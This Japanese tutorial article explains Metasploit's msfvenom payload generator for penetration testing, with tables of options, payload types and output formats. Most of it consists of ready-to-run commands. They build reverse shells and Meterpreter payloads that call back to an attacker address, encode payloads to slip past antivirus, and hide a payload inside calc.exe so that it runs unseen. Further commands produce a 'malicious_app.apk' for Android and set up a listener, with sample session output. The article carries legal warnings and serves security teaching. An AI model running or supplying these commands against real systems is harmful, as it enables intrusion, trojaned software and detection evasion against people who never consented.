はじめに:msfvenomとは何か?
サイバーセキュリティの世界、特にペネトレーションテストや脆弱性研究において、Metasploit Frameworkは非常に有名で強力なツールキットです。その中でも、msfvenom
は中心的な役割を担うユーティリティの一つです。
msfvenom
は、Metasploit Frameworkに含まれるスタンドアロンのペイロード生成ツールです。2015年6月8日に、それまで利用されていたmsfpayload
とmsfencode
という二つのツールが統合されて誕生しました。この統合により、ペイロードの生成とエンコードが一つのコマンドで効率的に行えるようになり、コマンドラインオプションも標準化され、処理速度も向上しました。
では、「ペイロード」とは何でしょうか?簡単に言えば、ペイロードは脆弱性を悪用してターゲットシステム上で実行させたい悪意のあるコードのことです。例えば、ターゲットシステムのリモートシェルを取得したり、特定のコマンドを実行させたり、情報を盗んだりするコードなどがペイロードにあたります。msfvenom
は、これらのペイロードを様々な形式(実行ファイル、スクリプト、シェルコードなど)で、特定のプラットフォーム(Windows, Linux, Android, macOSなど)やアーキテクチャ(x86, x64など)向けに生成することができます。
ペネトレーションテストでは、発見した脆弱性を利用して実際にシステムに侵入できるか、どのような影響を与えられるかを実証するためにペイロードが使用されます。msfvenom
は、このプロセスにおいて非常に重要な役割を果たし、テスト担当者が目的に応じたカスタムペイロードを迅速に作成することを可能にします。
この記事では、msfvenom
の基本的な使い方から、ペイロードの種類、出力フォーマット、アンチウイルス(AV)回避のためのエンコーディング技術、そして実践的な使用例まで、幅広く解説していきます。この記事を読むことで、msfvenom
を効果的に活用するための知識とスキルを習得できるでしょう。💡
⚠️ 注意: msfvenom
は強力なツールであり、その使用は法律や倫理規定に従って、許可された環境でのみ行う必要があります。不正な目的での使用は絶対にやめてください。
基本的な使い方:コマンド構造と主要オプション
msfvenom
の基本的なコマンド構造は以下のようになります。
msfvenom [options] <var=val>
ここで、[options]
には様々なオプションを指定し、<var=val>
の部分では、選択したペイロードに必要なオプション(例えば、接続先のIPアドレスLHOST
やポート番号LPORT
など)を設定します。
まずは、よく使われる主要なオプションを見ていきましょう。これらのオプションを理解することが、msfvenom
を使いこなす第一歩です。
オプション | 省略形 | 説明 |
---|---|---|
--payload |
-p |
使用するペイロードを指定します。Metasploit Frameworkには数多くのペイロードが用意されています。'-' を指定すると標準入力からカスタムペイロードを読み込めます。 |
--list |
-l |
指定したタイプのモジュール(payloads , encoders , nops , all など)をリスト表示します。ペイロードやエンコーダを探す際に非常に便利です。 |
--payload-options |
指定したペイロードで利用可能な標準オプションをリスト表示します。LHOST やLPORT など、設定が必要な項目を確認できます。 |
|
--format |
-f |
出力するペイロードのフォーマットを指定します。実行ファイル形式(exe , elf , macho )、スクリプト形式(python , php , bash )、生データ(raw )など、多岐にわたります。 |
--help-formats |
利用可能な出力フォーマットの一覧を表示します。 | |
--arch |
-a |
ターゲットシステムのアーキテクチャ(x86 , x64 など)を指定します。多くの場合、ペイロード名から自動的に推測されます。 |
--platform |
ターゲットシステムのプラットフォーム(windows , linux , android , osx など)を指定します。これもペイロード名から推測されることが多いです。 |
|
--help-platforms |
利用可能なプラットフォームの一覧を表示します。 | |
--out |
-o |
生成されたペイロードを指定したファイルに保存します。これを指定しない場合、ペイロードは標準出力に出力されます。 |
--encoder |
-e |
使用するエンコーダを指定します。アンチウイルスソフトによる検出を回避する目的で使われることがあります。 |
--iterations |
-i |
エンコーディングを指定した回数だけ繰り返します。複数回エンコードすることで、検出回避の効果を高めようとする試みですが、効果は限定的であり、ファイルサイズが増加する副作用があります。 |
--bad-chars |
-b |
ペイロードに含めたくない文字(バイト)を指定します。例えば、ヌルバイト(\x00 )や改行コード(\x0a , \x0d )などが特定の脆弱性悪用時に問題となる場合に指定します。このオプションを使うと、多くの場合、自動的にエンコーダが適用されます。 |
--nopsled |
-n |
指定した長さのNOP(No Operation)スレッドをペイロードの先頭に付加します。エクスプロイトの安定性を高めるために使われることがあります。 |
--template |
-x |
既存の実行可能ファイルをテンプレートとして指定し、そのファイル内にペイロードを埋め込みます。正常なプログラムに見せかけるために使用されます。 |
--keep |
-k |
-x オプションと併用し、テンプレートとして指定した実行可能ファイルの元の動作を維持しつつ、ペイロードを新しいスレッドとして実行させます。 |
--var-name |
-v |
特定の出力フォーマット(python , c など)で、ペイロードを格納する変数名をデフォルトのbuf から指定した名前に変更します。 |
--smallest |
可能な限り最小サイズのペイロードを生成しようと試みます。 | |
--help |
-h |
ヘルプメッセージ(オプション一覧)を表示します。 |
では、簡単な例を見てみましょう。Windowsマシン向けの基本的なリバースTCPシェル(ターゲットマシンから攻撃者のマシンに接続してくるシェル)を生成し、payload.exe
という名前で保存する場合、以下のようなコマンドになります。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<攻撃者のIPアドレス> LPORT=<待ち受けポート番号> -f exe -o payload.exe
このコマンドでは、
-p windows/meterpreter/reverse_tcp
: Windows用のMeterpreterリバースTCPペイロードを選択。LHOST=<攻撃者のIPアドレス>
: ペイロードが接続してくる先のIPアドレスを指定。(例:LHOST=192.168.1.100
)LPORT=<待ち受けポート番号>
: ペイロードが接続してくる先のポート番号を指定。(例:LPORT=4444
)-f exe
: 出力フォーマットをWindows実行ファイル(.exe)に指定。-o payload.exe
: 生成されるファイルをpayload.exe
として保存。
このように、オプションを組み合わせることで、様々な状況に対応したペイロードを作成できます。まずは-l
オプションでどのようなペイロードやオプションがあるかを確認し、基本的な生成を試してみるのが良いでしょう。
ペイロードの種類:Staged vs Stageless と代表的なペイロード
msfvenom
で生成できるペイロードには、実に多くの種類が存在します。ターゲットとするOS、目的(シェル奪取、コマンド実行、情報窃取など)、そして接続方法によって様々なペイロードが用意されています。ペイロードを理解する上で重要な概念の一つに、「Staged」と「Stageless」の違いがあります。
Staged (段階的) ペイロード vs Stageless (非段階的) ペイロード
Metasploitのペイロード名を見ると、windows/meterpreter/reverse_tcp
のようにスラッシュ区切りのものと、windows/meterpreter_reverse_tcp
のようにアンダースコア区切りのものがあることに気づくかもしれません。これがStagedとStagelessの違いを示しています。
-
Staged ペイロード (例:
windows/shell/reverse_tcp
):- 名前がスラッシュ (
/
) で区切られています。 - ペイロードは2段階で動作します。最初に「ステージャー」と呼ばれる小さなコード(スタブローダー)がターゲット上で実行されます。
- ステージャーは攻撃者のマシン(ハンドラー)に接続し、残りの大きなペイロード本体(「ステージ」と呼ばれる)をダウンロードして実行します。
- 利点: 最初のペイロードサイズが小さいため、メモリ制限のあるエクスプロイトや、送信データ量に制限がある場合に有利です。
- 欠点: ターゲットが攻撃者のハンドラーと通信できないと、ペイロード本体をダウンロードできず、攻撃は失敗します。ネットワークが不安定な環境では不利になることがあります。
- 名前がスラッシュ (
-
Stageless ペイロード (例:
windows/shell_reverse_tcp
):- 名前がアンダースコア (
_
) で区切られています(一部例外あり)。 - ペイロードの全てのコードが最初から含まれており、単一の塊としてターゲットに送信・実行されます。
- ターゲット上で実行されると、外部との追加通信なしに(リバースシェルの場合は攻撃者への接続を除き)自身の機能を開始します。
- 利点: ターゲットが外部ネットワークに接続できない場合や、ネットワークが不安定な場合でも、ペイロードの機能自体は実行されやすいです。Fire-and-forget(送りっぱなし)型の攻撃に適しています。
- 欠点: ペイロード全体のサイズが大きくなるため、メモリ制限のあるエクスプロイトでは使用できない場合があります。
- 名前がアンダースコア (
どちらを選択するかは、エクスプロイトの制約、ターゲットのネットワーク環境、そして攻撃の目的によって決定されます。一般的に、ネットワーク接続が安定しており、ペイロードサイズに制限がない場合はStagelessが、サイズ制限がある場合や隠密性を高めたい(初期ペイロードを小さくしたい)場合はStagedが選択される傾向にあります。
利用可能なペイロードの一覧は以下のコマンドで確認できます。膨大なリストが出力されるため、grep
などを使って絞り込むと良いでしょう。
msfvenom -l payloads
# Windows向けのペイロードを検索
msfvenom -l payloads | grep windows
# Meterpreterペイロードを検索
msfvenom -l payloads | grep meterpreter
# リバースTCPペイロードを検索
msfvenom -l payloads | grep reverse_tcp
代表的なペイロード
数あるペイロードの中でも、特によく使われる代表的なものをいくつか紹介します。
ペイロード名 | 説明 | タイプ | 主な用途 |
---|---|---|---|
windows/meterpreter/reverse_tcp |
Windows用の高機能なMeterpreterシェルをリバースTCP接続で確立します。最も一般的で強力なペイロードの一つです。 | Staged | Windowsシステムの完全な制御 |
windows/meterpreter/reverse_https |
上記のリバースHTTPS版。通信が暗号化されるため、検知されにくく、より安定しています。ハンドラーとの接続が切れても再接続を試みます。 | Staged | 検知回避、安定した制御 |
windows/shell/reverse_tcp |
Windowsの標準コマンドプロンプト(cmd.exe)へのリバースTCP接続を確立します。Meterpreterより機能は少ないですが、シンプルで軽量です。 | Staged | 基本的なコマンド実行 |
windows/shell_reverse_tcp |
上記のStageless版。ペイロードサイズは大きくなりますが、単体で動作します。 | Stageless | ネットワーク不安定時、サイズ制限がない場合 |
windows/x64/meterpreter/reverse_tcp |
64ビットWindows用のMeterpreterリバースTCPペイロード。 | Staged | 64ビットWindowsシステムの制御 |
linux/x86/meterpreter/reverse_tcp |
32ビットLinux用のMeterpreterリバースTCPペイロード。 | Staged | 32ビットLinuxシステムの制御 |
linux/x64/shell/reverse_tcp |
64ビットLinux用の標準シェル(/bin/shなど)へのリバースTCP接続を確立します。 | Staged | 64ビットLinuxシステムの基本的なコマンド実行 |
php/meterpreter/reverse_tcp |
PHPが動作するWebサーバー上で実行されるMeterpreterペイロード。 | Staged | Webサーバーの侵害 |
java/meterpreter/reverse_tcp |
Java環境で実行されるMeterpreterペイロード。 | Staged | Javaアプリケーションの侵害 |
android/meterpreter/reverse_tcp |
Androidデバイス向けのMeterpreterペイロード。APKファイルとして生成できます。⚠️倫理的な問題を十分に考慮してください。 | Staged | Androidデバイスの侵害 (悪用厳禁) |
python/meterpreter/reverse_tcp |
Python環境で実行されるMeterpreterペイロード。 | Staged | Pythonアプリケーションの侵害 |
cmd/unix/reverse_perl |
Perlが利用可能なUnix系システムでリバースシェルを確立します。 | Stageless | Unix/Linuxシステムのコマンド実行 (Perl利用) |
generic/shell_reverse_tcp |
プラットフォームに依存しない汎用的なリバースシェルペイロード。ターゲット環境に応じて適切なシェルを起動しようとします。 | Stageless | プラットフォーム不明時、汎用的な利用 |
windows/exec |
Windows上で指定したコマンドを実行します。 | Stageless | 特定のコマンド実行 |
windows/download_exec |
指定したURLから実行ファイルをダウンロードして実行します。マルウェア配布などで使われることがあります。 | Staged/Stagelessあり | 追加のマルウェア感染 |
ペイロードオプションの設定
多くのペイロード、特にリバース接続(ターゲットから攻撃者へ接続)やバインド接続(ターゲットが待ち受け、攻撃者から接続)を行うペイロードでは、接続先IPアドレス(LHOST
)やポート番号(LPORT
)、あるいは待ち受けるポート番号(RHOST
, RPORT
– ペイロードによる)などのオプション設定が必要です。
特定のペイロードで利用可能なオプションを確認するには、--payload-options
フラグを使用します。
msfvenom -p windows/meterpreter/reverse_tcp --payload-options
出力結果から、必要なオプションとその説明、必須かどうか(Required列がyes/no)、現在の設定値(Current Setting列)を確認できます。
これらのオプションは、msfvenom
コマンド実行時に オプション名=値
の形式で指定します。
# LHOSTとLPORTを指定する例
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o revshell.exe
適切なペイロードを選択し、必要なオプションを正しく設定することが、攻撃を成功させるための鍵となります。
出力フォーマット:用途に応じた形式の選択
msfvenom
の強力な機能の一つは、生成するペイロードを様々なファイル形式やデータ形式で出力できることです。これは-f
(--format
) オプションで指定します。適切なフォーマットを選択することで、ターゲット環境へのペイロードの配布や実行が容易になります。
利用可能なフォーマットの一覧は以下のコマンドで確認できます。
msfvenom --help-formats
以下に、よく利用される代表的な出力フォーマットとその用途を示します。
フォーマット名 | 説明 | 主な用途・ターゲット |
---|---|---|
raw |
生のシェルコードバイト列。他のプログラムに埋め込んだり、独自のエクスプロイトコードで使用したりします。 | エクスプロイト開発、シェルコードインジェクション |
exe |
Windows用の標準的な実行ファイル(.exe)。 | Windows環境への直接的な配布・実行 |
exe-small |
より小さなサイズのWindows実行ファイル。サイズ制限がある場合に有効です。 | サイズ制限のあるWindows環境 |
exe-service |
Windowsサービスとして実行可能な形式。永続化を目的とすることがあります。 | Windowsサービスの作成 |
dll |
Windowsのダイナミックリンクライブラリ(.dll)。DLLインジェクションやDLLハイジャッキングなどの攻撃手法で利用されます。 | Windows DLLインジェクション、DLLハイジャッキング |
elf |
Linuxや多くのUnix系OSで使われる実行ファイル形式(Executable and Linkable Format)。 | Linux/Unix環境への直接的な配布・実行 |
macho |
macOSやiOSで使われる実行ファイル形式。 | macOS/iOS環境への直接的な配布・実行 |
msi |
Windows Installerパッケージ(.msi)。正規のインストーラーに見せかけるために使用されることがあります。 | Windows環境への配布(インストーラー偽装) |
vba |
Microsoft Officeアプリケーション用のVBA(Visual Basic for Applications)マクロコード。悪意のあるマクロとして文書ファイルに埋め込まれます。 | Officeドキュメント(Word, Excelなど) |
vbs |
VBScript(.vbs)ファイル。Windows環境で直接実行可能です。 | Windows環境でのスクリプト実行 |
psh / psh-cmd / psh-net / psh-reflection |
PowerShellスクリプト(.ps1)またはコマンド。PowerShellはWindows管理で広く使われており、攻撃にも多用されます。様々な実行方法に対応した形式があります。 | Windows環境 (PowerShell) |
bash / sh |
Bashまたはshスクリプト(.sh)。Linux/Unix/macOS環境で実行可能です。 | Linux/Unix/macOS環境でのスクリプト実行 |
python / py |
Pythonスクリプト(.py)。Pythonがインストールされている環境で実行可能です。 | Python環境 |
perl / pl |
Perlスクリプト(.pl)。Perlがインストールされている環境で実行可能です。 | Perl環境 |
ruby / rb |
Rubyスクリプト(.rb)。Rubyがインストールされている環境で実行可能です。 | Ruby環境 |
asp |
Active Server Pages(.asp)コード。古いIIS環境などで動作します。 | ASPが動作するWebサーバー |
aspx |
ASP.NET(.aspx)コード。IIS環境で動作します。 | ASP.NETが動作するWebサーバー |
jsp |
JavaServer Pages(.jsp)コード。TomcatなどのJavaサーブレットコンテナで動作します。 | JSPが動作するWebサーバー |
php |
PHPコード。ApacheやNginxなどのWebサーバー上で動作するPHPアプリケーションに注入されることがあります。 | PHPが動作するWebサーバー |
war |
Web Application Archive(.war)ファイル。Java EEアプリケーションサーバー(Tomcat, JBossなど)にデプロイするための形式です。 | Java EEアプリケーションサーバー |
c |
C言語形式のバイト配列。C/C++プログラムにシェルコードを埋め込む際に便利です。 | C/C++プログラム開発 |
java |
Java形式のバイト配列。Javaプログラムにシェルコードを埋め込む際に使用します。 | Javaプログラム開発 |
csharp |
C#形式のバイト配列。C#プログラムにシェルコードを埋め込む際に使用します。 | C#プログラム開発 |
例えば、Linuxサーバー上で動作するPHPアプリケーションの脆弱性を突いて、PHPのリバースシェルペイロードを生成したい場合、以下のように-f php
を指定します。
msfvenom -p php/reverse_php LHOST=192.168.1.100 LPORT=5555 -f php -o shell.php
また、C言語で独自のエクスプロイトコードを開発しており、そこにWindowsのリバースシェルコード(rawバイト列)を埋め込みたい場合は、以下のようにします。
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f c
このコマンドは、C言語の配列としてフォーマットされたシェルコードを標準出力に表示します。
ターゲット環境や攻撃シナリオに応じて最適なフォーマットを選択することが、ペイロードの効果的な利用につながります。
エンコーディングと回避技術:アンチウイルス(AV)の目を欺く試み
msfvenom
で生成されたペイロード、特に有名なペイロードは、多くのアンチウイルス(AV)ソフトウェアや侵入検知システム(IDS)によって容易に検出されてしまいます。これは、これらのセキュリティ製品が既知の悪意のあるコードの「シグネチャ」(特徴的なバイトパターン)をデータベースとして持っており、ファイルスキャンや通信監視時に一致するものがないか照合しているためです。
この検出を回避するために、msfvenom
にはペイロードのバイトパターンを変更する「エンコーディング」機能が搭載されています。-e
(--encoder
) オプションで利用するエンコーダを指定します。
利用可能なエンコーダの一覧は以下のコマンドで確認できます。
msfvenom -l encoders
エンコーダには「Rank」(評価)が付与されており、一般的にexcellent
やgood
ランクのものが推奨されます。中でも最も有名でよく使われるのがx86/shikata_ga_nai
エンコーダです。
x86/shikata_ga_naiエンコーダ
「仕方がない」という日本語が由来とされるこのエンコーダは、ポリモーフィック(多態性)エンコーダの一種です。主な特徴は以下の通りです。
- XOR暗号化: ペイロード本体をXOR演算によって暗号化します。
- 動的なデコーダ生成: ペイロードの先頭に付加されるデコード処理(デコーダスタブ)自体も、実行ごとに異なる命令シーケンスやレジスタを使用するように生成されます。
- ポリモーフィズム: 同じペイロードを同じ
shikata_ga_nai
エンコーダでエンコードしても、生成されるバイトパターンは毎回変化します。
これにより、単純なシグネチャベースの検出を回避しやすくなることが期待されます。以下はshikata_ga_nai
を使ってペイロードをエンコードする例です。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -e x86/shikata_ga_nai -f exe -o encoded_payload.exe
複数回エンコーディング (-i オプション)
エンコーディングを複数回繰り返すことで、さらに検出を困難にしようとする試みもあります。これは-i
(--iterations
) オプションで指定します。
# shikata_ga_naiで5回エンコードする例
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o multi_encoded_payload.exe
しかし、注意点があります。
- 効果の限界: 現代のAV製品は、エンコードされたペイロードや
shikata_ga_nai
のような有名なエンコーダのデコーダスタブ自体を検出する能力を持っています。そのため、エンコード回数を増やしても、必ずしも検出回避率が向上するとは限りません。むしろ、挙動ベースの検出(不審なメモリ操作など)によって検知される可能性もあります。研究によっては、複数回エンコードが検出率を下げない、あるいは逆に上げる可能性も指摘されています。 - サイズ増加: エンコードを繰り返すごとに、デコーダスタブが追加されるため、ペイロード全体のサイズは増加します。
⚠️ 重要: msfvenom
のエンコーダ機能は、主にエクスプロイトにおける「不正な文字(Bad Characters)」の回避を目的として開発された経緯があります。AV回避は副次的な効果であり、それ自体を主目的とした機能ではありません。2018年頃のRapid7(Metasploitの開発元)のブログ記事でも、AV回避にはエンコーディングではなく「暗号化」を使用すべきだと述べられています。現代の高度なセキュリティ製品に対して、msfvenom
の標準エンコーダだけで検出を完全に回避することは非常に困難です。
不正な文字の回避 (-b オプション)
特定の脆弱性を利用する際、ペイロード内に含めることができない文字(バイト)が存在することがあります。例えば、文字列処理の脆弱性を突く場合、ヌルバイト(\x00
)が含まれていると、そこで文字列が終端したとみなされ、ペイロードが正常に転送・実行されないことがあります。他にも、改行コード(\x0a
, \x0d
)やスペース(\x20
)などが問題になるケースがあります。
-b
(--bad-chars
) オプションでこれらの「不正な文字」を指定すると、msfvenom
は自動的に適切なエンコーダ(多くの場合shikata_ga_nai
など)を選択し、指定された文字を含まないようにペイロードをエンコードします。
# ヌルバイト(\x00)と改行(\x0a)を回避する例
msfvenom -p windows/shell/bind_tcp -b '\x00\x0a' -f c
その他の回避関連オプション
-n, --nopsled <length>
: NOPスレッドを追加します。直接的なAV回避効果は低いですが、エクスプロイトの成功率を高める目的で使われることがあります。--encrypt <type>
/--encrypt-key <key>
(Metasploit 5以降): ペイロードを暗号化する機能も追加されています(例:--encrypt RC4 --encrypt-key mysecretkey
)。エンコーディングよりも静的スキャンに対する回避効果が高いとされていますが、実行時に復号するためのローダーが別途必要になります。
近年のAV/EDR回避の難しさ
近年、アンチウイルスソフトウェアは進化し、エンドポイント検出応答 (EDR) ソリューションも普及しています。これらのセキュリティ製品は、単なるシグネチャマッチングだけでなく、以下のような高度な技術を用いてマルウェアを検出します。
- ヒューリスティック分析: プログラムのコード構造や命令シーケンスから、悪意のある可能性のあるパターンを推測します。
- 挙動ベース検出: プログラムの実行時の動作(怪しいAPI呼び出し、レジストリ変更、ファイル操作、ネットワーク通信など)を監視し、悪意のある挙動を検知します。
- サンドボックス実行: 疑わしいファイルを隔離された仮想環境で実行させ、その挙動を分析します。
- 機械学習/AI: 大量のマルウェアと正常なファイルのデータを学習し、未知の脅威を検出します。
- メモリ内スキャン: 実行中のプロセスのメモリ空間をスキャンし、ファイルレスマルウェアや難読化されたコードを検出します。Microsoft DefenderのAMSI (Antimalware Scan Interface) などが代表例です。
これらの高度な検出技術により、msfvenom
で生成し、単純にエンコードしただけのペイロードは、かなりの確率で検出されると考えた方が良いでしょう。実際のペネトレーションテストでは、以下のような、より高度な回避技術が組み合わせて用いられることがあります。
- カスタムローダー/シェルコードインジェクタの開発
- 暗号化・難読化技術の適用(標準エンコーダ以外の利用)
- プロセスインジェクション(正常なプロセスへのコード注入)
- メモリ内実行(ディスクへの書き込み回避)
- 既知の検出シグネチャの回避(コードの一部改変)
- 環境チェック(仮想環境やデバッガの検出と回避)
- Living Off The Land (LotL) 技術(OS標準のツールや機能を悪用)
msfvenom
はペイロード生成の基盤として依然として重要ですが、AV/EDR回避はそれ単体では達成が難しく、より深い知識と技術が必要となる領域です。
実践的な例:プラットフォーム別ペイロード生成
ここでは、いくつかの一般的なシナリオを想定し、msfvenom
を使用して具体的なペイロードを生成する例を示します。これらの例を参考に、ご自身の目的に合わせてコマンドを調整してください。✅
前提条件: 以下の例では、攻撃者のIPアドレスを 192.168.1.100
、待ち受けポートを 4444
と仮定します。実際の環境に合わせてこれらの値を変更してください。
1. Windows向けリバースTCPシェル (Meterpreter, Staged)
最も基本的なWindows向けペイロードです。ターゲットから攻撃者のマシンに接続し、高機能なMeterpreterセッションを開始します。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o meterpreter_staged.exe
-p windows/meterpreter/reverse_tcp
: ペイロード指定LHOST=192.168.1.100
: 攻撃者のIPLPORT=4444
: 待ち受けポート-f exe
: Windows実行ファイル形式-o meterpreter_staged.exe
: 出力ファイル名
実行後、Metasploitコンソール (msfconsole
) で対応するハンドラー (exploit/multi/handler
) を設定して待ち受ける必要があります。
2. Windows向けリバースTCPシェル (Meterpreter, Stageless)
上記ペイロードのStageless版です。ファイルサイズは大きくなりますが、ターゲット環境のネットワークが不安定な場合に有利なことがあります。
msfvenom -p windows/meterpreter_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o meterpreter_stageless.exe
-p windows/meterpreter_reverse_tcp
: Stagelessペイロード指定(アンダースコアに注意)- 他オプションは上記と同様
3. Linux向けリバースTCPシェル (x64, Standard Shell, Staged)
64ビットLinuxシステム向けの標準的なシェル (/bin/sh など) を取得するペイロードです。
msfvenom -p linux/x64/shell/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f elf -o linux_shell_staged.elf
-p linux/x64/shell/reverse_tcp
: 64ビットLinux向け標準シェルペイロード-f elf
: Linux実行ファイル形式 (ELF)-o linux_shell_staged.elf
: 出力ファイル名
4. Webサーバー向けPHPペイロード (Meterpreter)
PHPが動作するWebサーバーの脆弱性を突いてアップロードし、実行させることを想定したペイロードです。
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw -o phpshell.php
-p php/meterpreter/reverse_tcp
: PHP Meterpreterペイロード-f raw
: 生のPHPコードを出力 (ファイル拡張子は.php
で保存)-o phpshell.php
: 出力ファイル名 (<?php ... ?>
タグで囲まれて出力されます)
生成された phpshell.php
をWebサーバーにアップロードし、ブラウザなどからアクセスすることでペイロードが実行されます。
5. PowerShellペイロード (Base64エンコード)
Windows環境でPowerShellコマンドとして実行できるペイロードです。Base64エンコードを施すことで、直接的な文字列検知を回避しようとします。
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f psh -e cmd/powershell_base64 -o ps_encoded.ps1
-p windows/x64/meterpreter/reverse_tcp
: 64ビットWindows Meterpreterペイロード-f psh
: PowerShell形式-e cmd/powershell_base64
: PowerShell Base64エンコーダ指定-o ps_encoded.ps1
: 出力ファイル名
生成されたps_encoded.ps1
を実行するか、コマンドを直接PowerShellプロンプトに貼り付けて実行します。ただし、AMSIなどの検知機構により、Base64エンコードだけではブロックされる可能性が高いです。
6. Android向けペイロード (APK)
⚠️ 警告: Androidペイロードの生成と使用は、極めて慎重に行う必要があります。許可なく他人のデバイスにインストールする行為は重大な犯罪です。教育・研究目的であっても、必ず自身の管理下にあるデバイスでのみテストしてください。
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 R -o malicious_app.apk
-p android/meterpreter/reverse_tcp
: Android MeterpreterペイロードR
:msfvenom
が内部的にAPK署名を行うためのオプション (古いバージョンのmsfvenom
では不要な場合や、別途署名が必要な場合があります)-o malicious_app.apk
: 出力APKファイル名
生成されたAPKファイルをターゲットのAndroidデバイスにインストールし、実行させることでペイロードが動作します。Google Play Protectなどにより、不正なアプリとして検出・削除される可能性が高いです。
7. シェルコード (Raw) の生成と利用
独自のエクスプロイトコードやローダーに埋め込むための、生のバイト列(シェルコード)を生成します。
# Windows x64 シェルコード (NULLバイト回避)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw -b '\x00' -o shellcode.bin
-p windows/x64/shell_reverse_tcp
: 64ビットWindows Stagelessシェルペイロード-f raw
: 生バイト形式-b '\x00'
: NULLバイトを回避-o shellcode.bin
: バイナリファイルとして保存
C言語形式で出力したい場合は -f c
を使用します。
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f c -b '\x00'
これらの例は基本的なものです。実際のペネトレーションテストでは、エンコーディング、テンプレートの使用、その他の回避技術を組み合わせて、より検出されにくいペイロードを作成することが求められます。
高度なテクニック:テンプレート利用とハンドラー連携
基本的なペイロード生成に慣れてきたら、より実践的で効果的なテクニックを試してみましょう。ここでは、既存の実行ファイルを利用するテンプレート機能と、生成したペイロードを受け取るためのMetasploitハンドラーとの連携について解説します。
既存の実行ファイルへのペイロード埋め込み (-x と -k オプション)
生成したペイロード(特に.exe
ファイル)をそのままターゲットに送りつけても、怪しいファイルとして警戒されたり、セキュリティソフトにブロックされたりする可能性が高いです。そこで、一見無害な別の実行ファイル(例:電卓calc.exe
やソリティアsol.exe
など)にペイロードを”忍び込ませる”テクニックが使われることがあります。これがテンプレート機能です。
-x, --template <path>
: ペイロードを埋め込むためのテンプレートとなる実行ファイルを指定します。msfvenom
は指定されたテンプレートファイルにペイロードを注入した新しい実行ファイルを生成します。-k, --keep
: このオプションを-x
と同時に指定すると、テンプレートファイルの本来の機能(例:電卓の起動)を実行しつつ、ペイロードをバックグラウンドで別のスレッドとして実行させようとします。これにより、ユーザーには通常のプログラムが動作しているように見せかけながら、裏で悪意のあるコードを動かすことが可能になります。
例:Windowsの電卓 (calc.exe
) にMeterpreterペイロードを埋め込み、電卓も通常通り起動させる
まず、テンプレートとなる正規のcalc.exe
を用意する必要があります。通常、C:\Windows\System32\calc.exe
にありますが、テスト環境のKali Linuxなどにコピーして使用します。(例:/tmp/calc.exe
にコピーしたとする)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -x /tmp/calc.exe -k -o calc_backdoored.exe
このコマンドで生成された calc_backdoored.exe
をターゲット上で実行すると、ユーザーには通常の電卓が起動したように見えますが、同時にバックグラウンドで 192.168.1.100:4444
に対してMeterpreterのリバース接続が試みられます。
💡 ヒント:
- x64ペイロードをx64テンプレートに埋め込む場合、
-f exe-only
のように指定する必要がある場合があります。 - テンプレート機能を使っても、AV/EDRによる検出を完全に回避できるわけではありません。特に挙動ベースの検出や、既知のテンプレートファイルに対するシグネチャで検知される可能性があります。
/usr/share/windows-binaries/
(Kali Linuxの場合) には、テンプレートとして利用できる可能性のあるWindowsの実行ファイルがいくつか含まれていることがあります。
Metasploitハンドラー (exploit/multi/handler) との連携
リバース接続型のペイロード (reverse_tcp
, reverse_https
など) を生成した場合、そのペイロードがターゲット上で実行された際に接続を受け付ける「待ち受け役」が必要です。Metasploit Frameworkでは、この役割を担うのが exploit/multi/handler
モジュールです。
msfvenom
でペイロードを生成した後、攻撃者のマシンで msfconsole
を起動し、ハンドラーを設定して実行(待ち受け開始)する手順は以下のようになります。
-
msfconsole
の起動:msfconsole
-
exploit/multi/handler
モジュールの使用宣言:msf > use exploit/multi/handler
-
ペイロードの設定:
msfvenom
で生成したペイロードと同じペイロードを指定します。これは非常に重要です。異なるペイロードを指定すると、接続が確立できなかったり、セッションが不安定になったりします。msf exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
-
LHOSTの設定: 攻撃者のIPアドレス(ペイロードが接続してくるべきIP)を指定します。
msfvenom
で指定したLHOST
と同じである必要があります。通常は、msfconsole
を実行しているマシンのIPアドレスになります。ifconfig
やip addr
コマンドで確認できます。msf exploit(multi/handler) > set LHOST 192.168.1.100
-
LPORTの設定: 待ち受けるポート番号を指定します。
msfvenom
で指定したLPORT
と同じである必要があります。msf exploit(multi/handler) > set LPORT 4444
-
(オプション) その他の設定確認: 設定が必要なオプションを確認します。
msf exploit(multi/handler) > show options
特に
ExitOnSession
オプションがtrue
(デフォルト) だと、セッションが確立した後にハンドラーが停止します。複数の接続を待ち受けたい場合はfalse
に設定します。msf exploit(multi/handler) > set ExitOnSession false
-
ハンドラーの実行 (待ち受け開始):
またはmsf exploit(multi/handler) > exploit -j
msf exploit(multi/handler) > run -j
-j
オプションは、ハンドラーをバックグラウンドジョブとして実行します。これにより、ハンドラーが待ち受け状態のままでも、msfconsole
で他のコマンドを実行できます。
これで、攻撃者のマシンは 192.168.1.100
のポート 4444
で、windows/meterpreter/reverse_tcp
ペイロードからの接続を待ち受けている状態になります。ターゲットマシンで先ほど生成したペイロード (meterpreter_staged.exe
や calc_backdoored.exe
など) が実行されると、このハンドラーに接続し、成功すればMeterpreterセッションが確立されます。
[*] Started reverse TCP handler on 192.168.1.100:4444
[*] Sending stage (175174 bytes) to 192.168.1.150
[*] Meterpreter session 1 opened (192.168.1.100:4444 -> 192.168.1.150:49152) at 2025-03-30 08:14:00 +0000
msf exploit(multi/handler) > sessions -l
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
